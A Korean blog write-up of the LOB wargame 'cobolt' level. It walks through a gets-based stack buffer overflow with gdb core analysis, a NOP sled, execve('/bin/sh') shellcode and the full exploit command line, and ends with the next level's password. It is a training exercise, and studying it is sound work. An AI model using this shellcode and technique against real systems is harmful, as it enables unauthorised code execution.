Bace

LOB - cobolt 본문

LOB

LOB - cobolt

Bace 2019. 11. 7. 06:08

이전 문제인 gremlin에서 구한 cobolt와 PW인 hacking exposed를 이용해 로그인한다.  

ID : cobolt PW : hacking exposed 

파일 목록을 보면

코드를 보면

버퍼가 16바이트이고 이번엔 strcpy가 아니라 gets로 buffer에 입력 받아서 출력한다.

여기서도 buffer 크기 + SFP 크기인 20글자를 입력하면 segmentation fault 가 뜬다.

 

파이썬으로 문자열을 보내봤다.

python -c 'print "a"*100' | ./goblin

a가 100개가 들어가도 segmentation fault가 뜨진 않지만 실제로는 fault가 났다.

core 파일이 생겼다.  

다음 명령어로 gets에 인자를 주고 argv 에 쉘코드를 넣는다.

python -c 'print "b"*20+"\x61\x61\x61\x61"' | ./goblin `python -c 'print "\x90"*215+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53 \x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

gdb -c core 

앞부분에 python -c 'print "b"*20+"\x61\x61\x61\x61"' 로 준게 잘 들어가서 eip가 0x61616161 이 된 것을 볼 수 있다.

쉘코드의 위치를 볼 수 있다. 쉘코드 위의 Nop 영역 중 하나를 고른다.

bffffbfc 를 골랐다. 

이제 bffffbfc를 61616161 자리에 넣는다.

하지만 지금은 gremlin과 달리 strcpy가 아니라 gets로 하므로, 

(python -c 'print "b"*20+"\xfc\xfb\xff\xbf"';cat) 를 통해 줘야한다.

goblin의 argv에는 쉘코드를 준다.

 

(python -c 'print "b"*20+"\xfc\xfb\xff\xbf"';cat) | ./goblin `python -c 'print "\x90"*215+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53 \x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

ID를 보면 cobolt가 있다.
my-pass 를 보면 cobolt의 password인 hackers proof 가 나온다.

'LOB' 카테고리의 다른 글

LOB - gremlin  (0) 2019.11.07
LOB - Gate  (0) 2019.11.07